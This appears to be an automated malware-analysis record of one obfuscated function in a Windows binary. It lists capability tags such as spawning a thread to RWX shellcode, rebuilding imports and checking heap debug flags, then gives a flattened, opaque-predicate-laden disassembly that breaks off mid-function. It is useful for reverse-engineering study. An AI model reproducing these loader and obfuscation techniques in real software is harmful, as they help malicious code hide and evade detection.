Function at 0x449690
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Create thread
Encode data using base64
Get number of processors
Get process heap flags
Get process heap force flags
Inspect section memory permissions
Parse pe header
Rebuild import table
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x12d0
call fcn.005a2f60
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1e8], eax
mov eax, dword [0x5d4680]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1e0], 0xb51f1680
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x1ec], eax
sub eax, 0x80858d03
je 0x480406
jmp 0x4496d9
mov eax, dword [ebp - 0x1ec]
sub eax, 0x838f0171
je 0x46b710
jmp 0x4496ef
mov eax, dword [ebp - 0x1ec]
sub eax, 0x83f4193c
je 0x486130
jmp 0x449705
mov eax, dword [ebp - 0x1ec]
sub eax, 0x853aa23d
je 0x47c1b0
jmp 0x44971b
mov eax, dword [ebp - 0x1ec]
sub eax, 0x866360b0
je 0x46d790
jmp 0x449731
mov eax, dword [ebp - 0x1ec]
sub eax, 0x878d249b
je 0x45e42b
jmp 0x449747
mov eax, dword [ebp - 0x1ec]
sub eax, 0x87cf798d
je 0x46abaa
jmp 0x44975d
mov eax, dword [ebp - 0x1ec]
sub eax, 0x87e4df8c
je 0x4645cb
jmp 0x449773
mov eax, dword [ebp - 0x1ec]
sub eax, 0x88f5c107
je 0x47c193
jmp 0x449789
mov eax, dword [ebp - 0x1ec]
sub eax, 0x895a01a9
je 0x46e43b
jmp 0x44979f
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8a4972ec
je 0x47defd
jmp 0x4497b5
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8ad7f8cc
je 0x45bc7f
jmp 0x4497cb
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8b249d6e
je 0x46073a
jmp 0x4497e1
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8ba08084
je 0x46d79f
jmp 0x4497f7
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8c8a85f7
je 0x484824
jmp 0x44980d
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8d290ad4
je 0x455e4f
jmp 0x449823
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8de94ab6
je 0x45af42
jmp 0x449839
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8f7ed6bc
je 0x45d53f
jmp 0x44984f
mov eax, dword [ebp - 0x1ec]
sub eax, 0x901b357e
je 0x4561a7
jmp 0x449865
mov eax, dword [ebp - 0x1ec]
sub eax, 0x907c09bf
je 0x475110
jmp 0x44987b
mov eax, dword [ebp - 0x1ec]
sub eax, 0x92549d34
je 0x450563
jmp 0x449891
mov eax, dword [ebp - 0x1ec]
sub eax, 0x938774b6
je 0x46ffec
jmp 0x4498a7
mov eax, dword [ebp - 0x1ec]
sub eax, 0x938a6182
je 0x474ec2
jmp 0x4498bd
mov eax, dword [ebp - 0x1ec]
sub eax, 0x94af1f34
je 0x452108
jmp 0x4498d3
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9534965e
je 0x47b6a8
jmp 0x4498e9
mov eax, dword [ebp - 0x1ec]
sub eax, 0x95d7d14c
je 0x48556c
jmp 0x4498ff
mov eax, dword [ebp - 0x1ec]
sub eax, 0x96528f96
je 0x465ad0
jmp 0x449915
mov eax, dword [ebp - 0x1ec]
sub eax, 0x98cf11fd
je 0x46f23a
jmp 0x44992b
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9a0d5d76
je 0x4692e7
jmp 0x449941
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9a2ce959
je 0x47bf88
jmp 0x449957
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9a8b2429
je 0x485f8f
jmp 0x44996d
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9b52360d
je 0x4764c9
jmp 0x449983
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9d1b9059
je 0x47f037
jmp 0x449999
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9febcb72
je 0x45776e
jmp 0x4499af
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa0260874
je 0x46c6f3
jmp 0x4499c5
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa06c2306
je 0x485ba9
jmp 0x4499db
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa076c275
je 0x44aec7
jmp 0x4499f1
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa2273ffc
je 0x47dedf
jmp 0x449a07
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa2b9e03a
je 0x47f2f0
jmp 0x449a1d
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa39d54a2
je 0x47713e
jmp 0x449a33
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa40f4e58
je 0x466a95
jmp 0x449a49
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa4dfdb64
je 0x452131
jmp 0x449a5f
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa54e489c
je 0x45214f
jmp 0x449a75
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa556cb86
je 0x4748a2
jmp 0x449a8b
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa5af0df4
je 0x44ca2a
jmp 0x449aa1
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa67f369e
je 0x47bfd3
jmp 0x449ab7
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa7df3227
je 0x45d5df
jmp 0x449acd
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa85efda0
je 0x4554ce
jmp 0x449ae3
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa899b15f
je 0x475455
jmp 0x449af9
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa93b9eaf
je 0x466aea
jmp 0x449b0f
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa98b9999
je 0x47f050
jmp 0x449b25
mov eax, dword [ebp - 0x1ec]
sub eax, 0xab24f4f7
je 0x474ea1
jmp 0x449b3b
mov eax, dword [ebp - 0x1ec]
sub eax, 0xab461dce
je 0x486e3f
jmp 0x449b51
mov eax, dword [ebp - 0x1ec]
sub eax, 0xab979264
je 0x4803f7
jmp 0x449b67
mov eax, dword [ebp - 0x1ec]
sub eax, 0xad2f4401
je 0x456421
jmp 0x449b7d
mov eax, dword [ebp - 0x1ec]
sub eax, 0xae099e50
je 0x45f319
jmp 0x449b93
mov eax, dword [ebp - 0x1ec]
sub eax, 0xae4c8393
je 0x471641
jmp 0x449ba9
mov eax, dword [ebp - 0x1ec]
sub eax, 0xaed9efc3
je 0x454c95
jmp 0x449bbf
mov eax, dword [ebp - 0x1ec]
sub eax, 0xb3605e01
je 0x4863a8
jmp 0x449bd5
mov eax, dword [ebp - 0x1ec]
sub eax, 0xb40892bc
je 0x4523f0
jmp 0x449beb
mov eax, dword [ebp - 0x1ec]
sub eax, 0xb51f1680
je 0x44ae28
jmp 0x449c01
mov eax, dword [ebp - 0x1ec]
sub eax, 0xb5b78001
je 0x455a35
jmp 0x449c17
mov eax, dword [ebp - 0x1ec]
sub eax, 0xb6d31f05
je 0x47bfb8
jmp 0x449c2d
mov eax, dword [ebp - 0x1ec]
sub eax, 0xb6d7d1e8
je 0x45f696
jmp 0x449c43
mov eax, dword [ebp - 0x1ec]
sub eax, 0xb7ac56ce
je 0x486e4e
push eax
mov eax, esp
mov dword [ebp - 0x1a8], eax
push eax
mov eax, esp
mov dword [ebp - 0x1a4], eax
push eax
mov eax, esp
mov dword [ebp - 0x1a0], eax
push eax
mov eax, esp
mov dword [ebp - 0x19c], eax
push eax
mov eax, esp
mov dword [ebp - 0x198], eax
push eax
mov eax, esp
mov dword [ebp - 0x194], eax
push eax
mov eax, esp
mov dword [ebp - 0x190], eax
push eax
mov eax, esp
mov dword [ebp - 0x18c], eax
push eax
mov eax, esp
mov dword [ebp - 0x188], eax
push eax
mov eax, esp
mov dword [ebp - 0x184], eax
push eax
mov eax, esp
mov dword [ebp - 0x180], eax
push eax
mov eax, esp
mov dword [ebp - 0x17c], eax
push eax
mov eax, esp
mov dword [ebp - 0x178], eax
push eax
mov eax, esp
mov dword [ebp - 0x174], eax
push eax
mov eax, esp
mov dword [ebp - 0x170], eax
push eax
mov eax, esp
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x1e0], 0xa076c275
jmp 0x486e58
mov ecx, dword [0x5d5bbc]
mov eax, dword [0x5d5bb8]
mov edx, ecx
add edx, 0x79836882
sub edx, 0x4226eb21
sub edx, 0x79836882
add edx, 0x58f0298
add edx, 0xe8702a2f
sub edx, 0x58f0298
add edx, 0xbec0a5c5
add edx, 0x4226eb21
sub edx, 0xbec0a5c5
sub edx, 0x6b4ef987
add edx, 0x51d72b59
add edx, 0x6b4ef987
xor esi, esi
sub esi, 1
add edx, esi
xor esi, esi
sub esi, 0x51d72b59
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xe090d7ea
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0x6a07bf37
sub edx, 0xe8702a2f
add edx, 0x6a07bf37
xor esi, esi
sub esi, 0xe090d7ea
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
cmp eax, 0xa
setl bl
mov al, dh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, dh
and cl, dl
or al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
xor cl, 0xff
mov bh, dh
xor bh, cl
and bh, dh
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x22a], dl
mov ah, bh
xor ah, 0xff
mov cl, 1
xor cl, 0
and dl, 0
and al, cl
mov ch, ah
and ch, 0
and bh, cl
or dl, al
mov al, byte [ebp - 0x22a]
or ch, bh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov ah, bl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov ch, bl
and ch, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov al, 1
xor al, 0
xor ah, 0xff
mov cl, 1
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0x229], al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov al, bh
xor al, 0xff
mov cl, bl
xor cl, al
and cl, bl
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov al, 1
xor al, 0
mov ah, ch
xor ah, al
mov al, byte [ebp - 0x229]
and ah, ch
mov byte [ebp - 0x224], ah
mov ah, 1
xor ah, 1
xor bh, 0xff
mov ch, 1
xor ch, 1
or ah, bh
or ch, 1
xor ah, 0xff
and ah, ch
mov byte [ebp - 0x226], ah
mov ch, al
xor ch, 0xff
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x225], ah
mov bh, 1
xor bh, 0
mov ah, ch
and ah, 0
and al, bh
mov byte [ebp - 0x228], al
mov al, byte [ebp - 0x225]
and al, 0
mov byte [ebp - 0x227], al
mov al, byte [ebp - 0x228]
and cl, bh
or ah, al
mov al, byte [ebp - 0x227]
or al, cl
mov cl, byte [ebp - 0x226]
xor ah, al
mov al, byte [ebp - 0x225]
or ch, al
mov al, byte [ebp - 0x224]
xor ch, 0xff
or bh, 0
and ch, bh
or ah, ch
mov byte [ebp - 0x221], ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x220], ah
mov bh, cl
xor bh, 0xff
mov ch, 1
xor ch, 0
and ah, 0
and al, ch
mov byte [ebp - 0x223], al
mov al, bh
and al, 0
mov byte [ebp - 0x222], al
mov al, byte [ebp - 0x223]
and cl, ch
or ah, al
mov al, byte [ebp - 0x222]
or al, cl
mov cl, byte [ebp - 0x221]
xor ah, al
mov al, byte [ebp - 0x220]
or al, bh
xor al, 0xff
or ch, 0
and al, ch
or ah, al
mov ch, cl
xor ch, 0xff
mov al, ah
and al, ch
xor ah, 0xff
and cl, ah
or al, cl
mov byte [ebp - 0x1f0], al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
xor ah, 0xff
xor ah, 0
and ah, 0
mov ch, 1
xor ch, 0
and ch, 0
mov cl, 1
xor cl, 0
mov bh, cl
and bh, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, bh
or al, cl
xor ch, al
mov bh, ch
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x21e], al
mov cl, 1
xor cl, 0
mov byte [ebp - 0x21f], cl
and cl, 1
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x21d], al
mov al, byte [ebp - 0x21f]
and al, 1
mov byte [ebp - 0x21c], al
mov al, byte [ebp - 0x21e]
or al, cl
mov cl, byte [ebp - 0x21d]
mov byte [ebp - 0x21b], al
mov al, byte [ebp - 0x21c]
or cl, al
mov al, byte [ebp - 0x21b]
xor al, cl
xor al, 0xff
mov byte [ebp - 0x21a], al
mov cl, 1
xor cl, 0
mov al, 1
xor al, 1
mov byte [ebp - 0x219], al
mov al, byte [ebp - 0x21a]
or al, cl
mov cl, byte [ebp - 0x219]
or cl, 1
xor al, 0xff
and al, cl
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov cl, ah
and cl, bh
xor ah, bh
or cl, ah
mov ah, al
and ah, ch
xor al, ch
or ah, al
mov ch, cl
xor ch, 0xff
mov al, ah
and al, ch
xor ah, 0xff
and cl, ah
or al, cl
mov byte [ebp - 0x1ef], al
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or cl, al
mov al, 1
xor al, 1
and al, 1
mov ch, 1
xor ch, 1
mov bh, ch
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or al, bh
or ah, ch
xor al, ah
mov byte [ebp - 0x218], al
mov al, 1
xor al, 1
and al, 1
mov ch, 1
xor ch, 1
mov bh, ch
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or al, bh
mov bh, byte [ebp - 0x218]
or ah, ch
xor al, ah
mov byte [ebp - 0x213], al
mov ah, cl
xor ah, 0xff
xor bh, 0xff
mov ch, 1
xor ch, 0
mov al, ah
and al, 0
mov byte [ebp - 0x217], al
and cl, ch
mov al, bh
and al, 0
mov byte [ebp - 0x216], al
mov al, byte [ebp - 0x218]
and al, ch
mov byte [ebp - 0x215], al
mov al, byte [ebp - 0x217]
or al, cl
mov cl, byte [ebp - 0x216]
mov byte [ebp - 0x214], al
mov al, byte [ebp - 0x215]
or cl, al
mov al, byte [ebp - 0x214]
xor al, cl
mov cl, byte [ebp - 0x213]
or ah, bh
xor ah, 0xff
or ch, 0
and ah, ch
or al, ah
mov ch, cl
and ch, 1
xor cl, 1
or ch, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov bh, 1
xor bh, 0
and al, bh
mov ah, 1
xor ah, 1
and ah, 0
and bh, 1
or cl, al
mov al, byte [ebp - 0x1ef]
or ah, bh
xor cl, ah
xor cl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov byte [ebp - 0x208], cl
mov ah, dh
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
and al, cl
or ch, al
mov al, 1
xor al, 0
and al, 1
mov cl, 1
xor cl, 1
and cl, 0
or al, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov byte [ebp - 0x210], cl
mov cl, 1
xor cl, 0
mov bh, al
xor bh, 0xff
mov dh, 1
xor dh, 0
mov ch, cl
and ch, 0
mov ah, dh
and ah, 0
mov byte [ebp - 0x212], ah
mov ah, bh
and ah, 0
and al, dh
mov byte [ebp - 0x211], al
mov al, byte [ebp - 0x212]
or ch, al
mov al, byte [ebp - 0x211]
or ah, al
mov al, byte [ebp - 0x210]
xor ch, ah
mov ah, byte [ebp - 0x1f0]
or cl, bh
xor cl, 0xff
or dh, 0
and cl, dh
or ch, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and al, dh
or cl, al
xor ch, 0xff
mov al, cl
xor al, ch
and al, cl
mov byte [ebp - 0x20a], al
mov bh, ah
xor bh, 0xff
and bh, 0
mov cl, 1
xor cl, 0
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bh, ah
or al, cl
xor bh, al
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, ch
or cl, ah
xor al, cl
mov cl, 1
xor cl, 0
and cl, 1
mov ah, 1
xor ah, 1
and ah, 0
or cl, ah
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0x20d], ah
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
and ah, 0xff
and bh, ch
mov byte [ebp - 0x20f], bh
mov bh, dh
and bh, 0xff
and al, ch
mov byte [ebp - 0x20e], al
mov al, byte [ebp - 0x20f]
or ah, al
mov al, byte [ebp - 0x20e]
or bh, al
mov al, byte [ebp - 0x20d]
xor ah, bh
or al, dh
xor al, 0xff
or ch, 1
and al, ch
or ah, al
mov bh, 1
xor bh, 0
mov byte [ebp - 0x209], bh
mov ch, cl
xor ch, 0xff
mov dh, 1
xor dh, 0
and bh, 0
mov al, dh
and al, 0
mov byte [ebp - 0x20c], al
mov al, ch
and al, 0
mov byte [ebp - 0x20b], al
mov al, byte [ebp - 0x20c]
and cl, dh
or bh, al
mov al, byte [ebp - 0x20b]
or al, cl
mov cl, byte [ebp - 0x20a]
xor bh, al
mov al, byte [ebp - 0x209]
or al, ch
mov ch, byte [ebp - 0x1ef]
xor al, 0xff
or dh, 0
and al, dh
or bh, al
mov dh, ah
xor dh, 0xff
and dh, 1
mov al, 1
xor al, 1
and ah, al
mov al, byte [ebp - 0x208]
or dh, ah
xor bh, 0xff
mov ah, dh
xor ah, bh
and ah, dh
mov bh, ch
xor bh, 0xff
and bh, 1
mov dh, 1
xor dh, 1
and ch, dh
or bh, ch
mov dh, bl
xor dh, 0xff
mov ch, bh
and ch, dh
xor bh, 0xff
mov dh, bl
and dh, bh
or ch, dh
xor bl, 0xff
mov dh, ch
xor dh, bl
and dh, ch
mov ch, al
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
and al, bh
mov bl, 1
xor bl, 1
and bl, 0xff
and bh, 1
or ch, al
mov al, byte [ebp - 0x208]
or bl, bh
xor ch, bl
mov byte [ebp - 0x1fe], ch
mov bl, cl
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
mov bh, cl
and bh, ch
mov ch, byte [ebp - 0x1fe]
or bl, bh
mov byte [ebp - 0x200], bl
mov bl, 1
xor bl, 1
and bl, 1
mov bh, 1
xor bh, 1
and bh, 1
or bl, bh
mov byte [ebp - 0x1fb], bl
xor ch, 0xff
mov bl, 1
xor bl, 1
mov bh, 1
xor bh, 1
or ch, bl
mov bl, byte [ebp - 0x1fb]
or bh, 1
xor ch, 0xff
and ch, bh
xor bl, 0xff
mov bh, al
xor bh, bl
mov bl, byte [ebp - 0x200]
and bh, al
xor bl, 0xff
mov al, 1
xor al, 1
mov byte [ebp - 0x207], al
mov al, 1
xor al, 1
mov byte [ebp - 0x206], al
mov al, byte [ebp - 0x207]
or bl, al
mov al, byte [ebp - 0x206]
or al, 1
xor bl, 0xff
and bl, al
mov al, byte [ebp - 0x1fb]
mov byte [ebp - 0x205], bl
xor cl, 0xff
xor al, 0xff
mov bl, 1
xor bl, 0
or cl, al
mov al, byte [ebp - 0x205]
or bl, 0
xor cl, 0xff
and cl, bl
mov bl, ch
and bl, bh
xor ch, bh
or bl, ch
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x201], bh
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x202], ch
mov ch, 1
xor ch, 0
and bh, 0
and al, ch
mov byte [ebp - 0x204], al
mov al, byte [ebp - 0x202]
and al, 0
mov byte [ebp - 0x203], al
mov al, byte [ebp - 0x204]
and cl, ch
or bh, al
mov al, byte [ebp - 0x203]
or al, cl
mov cl, byte [ebp - 0x202]
xor bh, al
mov al, byte [ebp - 0x201]
or al, cl
mov cl, byte [ebp - 0x200]
xor al, 0xff
or ch, 0
and al, ch
or bh, al
mov ch, bl
xor ch, 0xff
and ch, 1
mov al, 1
xor al, 1
and bl, al
mov byte [ebp - 0x1ff], bl
mov bl, bh
xor bl, 0xff
and bl, 0xff
and bh, al
mov al, byte [ebp - 0x1ff]
or ch, al
mov al, byte [ebp - 0x1fe]
or bl, bh
xor ch, bl
mov byte [ebp - 0x1f7], ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x1fa], ch
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
and ch, 0xff
and al, bl
mov byte [ebp - 0x1fd], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1fc], al
mov al, byte [ebp - 0x1fd]
and cl, bl
or ch, al
mov al, byte [ebp - 0x1fc]
or al, cl
mov cl, byte [ebp - 0x1fb]
xor ch, al
mov al, byte [ebp - 0x1fa]
or al, bh
xor al, 0xff
or bl, 1
and al, bl
or ch, al
mov al, ch
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and ch, bl
or al, ch
mov byte [ebp - 0x1f5], al
mov ch, 1
xor ch, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0x1f6], al
mov bh, 1
xor bh, 0
mov bl, ch
and bl, 0
mov al, bh
and al, 1
mov byte [ebp - 0x1f9], al
mov al, byte [ebp - 0x1f6]
and al, 0
mov byte [ebp - 0x1f8], al
mov al, byte [ebp - 0x1f9]
and cl, bh
or bl, al
mov al, byte [ebp - 0x1f8]
or al, cl
mov cl, byte [ebp - 0x1f7]
xor bl, al
mov al, byte [ebp - 0x1f6]
or ch, al
mov al, byte [ebp - 0x1f5]
xor ch, 0xff
or bh, 0
and ch, bh
or bl, ch
xor al, 0xff
xor bl, 0xff
mov ch, 1
xor ch, 1
or al, bl
or ch, 1
xor al, 0xff
and al, ch
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x1f3], bh
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
and bh, 0xff
mov byte [ebp - 0x1f4], bh
and cl, ch
mov bh, bl
and bh, 0xff
and al, ch
mov byte [ebp - 0x1f2], al
mov al, byte [ebp - 0x1f4]
or al, cl
mov cl, byte [ebp - 0x1f3]
mov byte [ebp - 0x1f1], al
mov al, byte [ebp - 0x1f2]
or bh, al
mov al, byte [ebp - 0x1f1]
xor al, bh
or cl, bl
xor cl, 0xff
or ch, 1
and cl, ch
or al, cl
mov ch, dh
xor ch, 0xff
mov cl, ah
xor cl, ch
and cl, ah
mov bl, ah
xor bl, 0xff
mov ch, dh
and ch, bl
xor dh, 0xff
and ah, dh
or ch, ah
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov dh, al
xor dh, 0xff
and dh, 0
mov ch, 1
xor ch, 0
mov bl, al
and bl, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or dh, bl
or cl, ch
xor dh, cl
mov ch, 1
xor ch, 0
xor dh, 0xff
mov cl, 1
xor cl, 1
or ch, dh
or cl, 1
xor ch, 0xff
and ch, cl
mov bh, 1
xor bh, 0
and bh, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or bh, bl
or cl, dh
xor bh, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, ah
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov cl, ah
and cl, dh
or al, cl
xor al, 0xff
mov cl, 1
xor cl, 0
mov dh, 1
xor dh, 0
or al, cl
mov cl, byte [ebp - 0x1f0]
or dh, 0
xor al, 0xff
and al, dh
xor ah, 0xff
xor bh, 0xff
mov dh, 1
xor dh, 0
or ah, bh
mov bh, byte [ebp - 0x1ef]
or dh, 0
xor ah, 0xff
and ah, dh
mov dh, ch
and dh, bl
xor ch, bl
or dh, ch
mov ch, al
and ch, ah
xor al, ah
or ch, al
mov al, dh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, bl
or al, dh
or ah, ch
xor al, ah
mov byte [ebp - 0x1ed], al
mov bl, dl
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov al, 1
xor al, 0
or bl, ah
or al, 0
xor bl, 0xff
and bl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 1
mov ch, al
and ch, 0xff
and bl, cl
mov ah, dl
and ah, 0xff
and dh, cl
or ch, bl
or ah, dh
xor ch, ah
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ch, al
mov dl, ch
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or dl, al
mov cl, 1
xor cl, 0
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
xor ch, 0xff
mov dl, ah
xor dl, 0xff
mov al, 1
xor al, 1
or ch, dl
or al, 1
xor ch, 0xff
and ch, al
mov al, 1
xor al, 1
and al, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or al, bl
or dl, dh
xor al, dl
mov dh, 1
xor dh, 0
mov dl, al
xor dl, dh
and dl, al
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov ah, al
xor ah, 0xff
mov dl, cl
and dl, ah
xor cl, 0xff
and al, cl
or dl, al
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, ch
or cl, ah
xor al, cl
mov byte [ebp - 0x1ee], al
mov ch, bh
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov cl, bh
and cl, ah
or ch, cl
mov ah, 1
xor ah, 0
and ah, 1
mov cl, 1
xor cl, 1
and cl, 0
or ah, cl
mov cl, 1
xor cl, 0
mov dh, al
xor dh, cl
and dh, al
mov al, 1
xor al, 1
mov bl, ah
xor bl, 0xff
mov cl, 1
xor cl, 0
or al, bl
or cl, 0
xor al, 0xff
and al, cl
mov cl, 1
xor cl, 0
mov bl, ch
xor bl, cl
and bl, ch
mov cl, ah
xor cl, 0xff
xor bh, cl
mov cl, byte [ebp - 0x1ef]
and bh, cl
mov cl, dh
and cl, al
xor dh, al
mov al, byte [ebp - 0x1ee]
or cl, dh
mov dh, bl
and dh, bh
xor bl, bh
or dh, bl
mov bl, cl
xor bl, 0xff
mov bh, dh
and bh, bl
xor dh, 0xff
and cl, dh
or bh, cl
mov cl, al
and cl, ch
xor al, ch
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and cl, ch
or al, cl
mov cl, ah
and cl, 0
xor ah, 0
or cl, ah
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, al
and cl, 0
and bh, ah
mov dh, ch
and dh, 0
and bl, ah
or cl, bh
or dh, bl
xor cl, dh
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or cl, al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and dl, ah
or al, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and cl, ah
or dl, cl
mov bh, 1
xor bh, 1
and bh, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or bh, ch
or cl, ah
xor bh, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov dl, 1
xor dl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, dl
and ah, 0
mov al, ch
and al, 1
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0x1ed]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or ah, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and cl, ch
or dl, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov bl, al
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 0
or bl, ah
or dl, 0
xor bl, 0xff
and bl, dl
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
